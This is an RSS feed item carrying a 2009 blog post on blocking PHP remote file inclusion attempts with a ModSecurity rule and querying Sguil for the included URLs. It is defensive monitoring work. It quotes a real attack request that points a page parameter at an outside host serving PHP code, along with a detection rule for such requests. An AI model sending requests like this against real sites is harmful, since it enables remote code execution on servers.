<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Inliniac &#187; php</title>
	<atom:link href="http://www.inliniac.net/blog/tag/php/feed" rel="self" type="application/rss+xml" />
	<link>http://www.inliniac.net/blog</link>
	<description>Everything inline.</description>
	<lastBuildDate>Thu, 29 Jul 2010 19:38:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Extracting bad url&#8217;s from ModSecurity events in Sguil</title>
		<link>http://www.inliniac.net/blog/2009/01/15/extracting-bad-urls-from-modsecurity-events-in-sguil.html</link>
		<comments>http://www.inliniac.net/blog/2009/01/15/extracting-bad-urls-from-modsecurity-events-in-sguil.html#comments</comments>
		<pubDate>Wed, 14 Jan 2009 23:53:08 +0000</pubDate>
		<dc:creator>Victor Julien</dc:creator>
				<category><![CDATA[ModSecurity]]></category>
		<category><![CDATA[Modsec2sguil]]></category>
		<category><![CDATA[Sguil]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.inliniac.net/blog/?p=220</guid>
		<description><![CDATA[Running a PHP based blog, I see a lot of attempts to include code hosted elsewhere in requests. A long time ago I added a simple rule to block one type of the these attempts. A typical attempt looks like this: GET /blog/category/index.php?page=http://www.djrady.ru/includes/conf.txt?? HTTP/1.1 Notice the trailing questionmarks? Turns out these are always present, so [...]]]></description>
			<content:encoded><![CDATA[<p>Running a PHP based blog, I see a lot of attempts to include code hosted elsewhere in requests. A long time ago I added a simple rule to block one type of the these attempts. A typical attempt looks like this:</p>
<blockquote>
<p style="text-align: left;">GET /blog/category/index.php?page=http://www.djrady.ru/includes/conf.txt?? HTTP/1.1</p>
</blockquote>
<p>Notice the trailing questionmarks? Turns out these are always present, so very easy to block on. I&#8217;m doing that for a long time now, never seen a single false positive. The rule looks like this:</p>
<blockquote>
<p style="text-align: left;">SecRule ARGS:/.*/ &#8220;https?.*\?$&#8221; &#8220;msg:&#8217;LOCAL PHP ? link code inclusion attempt&#8217;,severity:1,phase:1&#8243;</p>
</blockquote>
<p>This rule looks at all request args, and checks if their value contains http or https and if it ends with a questionmark. If so, the request is blocked.</p>
<p>Today I was thinking that the URI&#8217;s that are included probably contain some badness, and it would be interesting to look what all the URI&#8217;s are. Using <a href="http://www.inliniac.net/modsec2sguil/">modsec2sguil</a> I&#8217;m adding all ModSecurity events to Sguil, so this was going to be an interesting MySQL challenge!</p>
<p>The query I came up with is this:</p>
<blockquote>
<p style="text-align: left;">SELECT COUNT(*) AS cnt, INET_NTOA(src_ip) AS &#8220;Source IP&#8221;, trim(LEADING &#8220;=&#8221; FROM substring_index(substr(unhex(data_payload),locate(&#8216;=http&#8217;,unhex(data_payload))), &#8216;\?&#8217;, 1)) AS url FROM event INNER JOIN data ON event.sid = data.sid and event.cid = data.cid WHERE (timestamp &gt;= &#8217;2009-01-13&#8242; AND signature LIKE &#8220;MSc 403 LOCAL PHP \?%&#8221;) GROUP BY src_ip,url ORDER BY cnt DESC LIMIT 10;</p>
</blockquote>
<p>The result is here (<a href="http://www.inliniac.net/blog/wp-content/uploads/2009/01/20090115-msc-sguil-uri-full.png">click here for full picture</a>):</p>
<p><img class="alignnone size-full wp-image-223" title="Bad uri's from Sguil" src="http://www.inliniac.net/blog/wp-content/uploads/2009/01/20090115-msc-sguil-uri.png" alt="Bad uri's from Sguil" width="483" height="230" /></p>
<p>I get about 10 url&#8217;s like this a day, usually they are tried more than once. So what is at these links? The first one gave a 404, so let&#8217;s look at the second one. It&#8217;s a jpg, thats a picture right? Wrong!</p>
<p>I downloaded the file and opened it in vim. As you can see in this fragment, this is php code&#8230;</p>
<p><img class="alignnone size-full wp-image-225" title="Bad uri code" src="http://www.inliniac.net/blog/wp-content/uploads/2009/01/20090115-msc-sguil-code.png" alt="Bad uri code" width="307" height="278" /></p>
<p>Anyone know if there is some place I can report these url&#8217;s to on a daily/weekly basis?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.inliniac.net/blog/2009/01/15/extracting-bad-urls-from-modsecurity-events-in-sguil.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
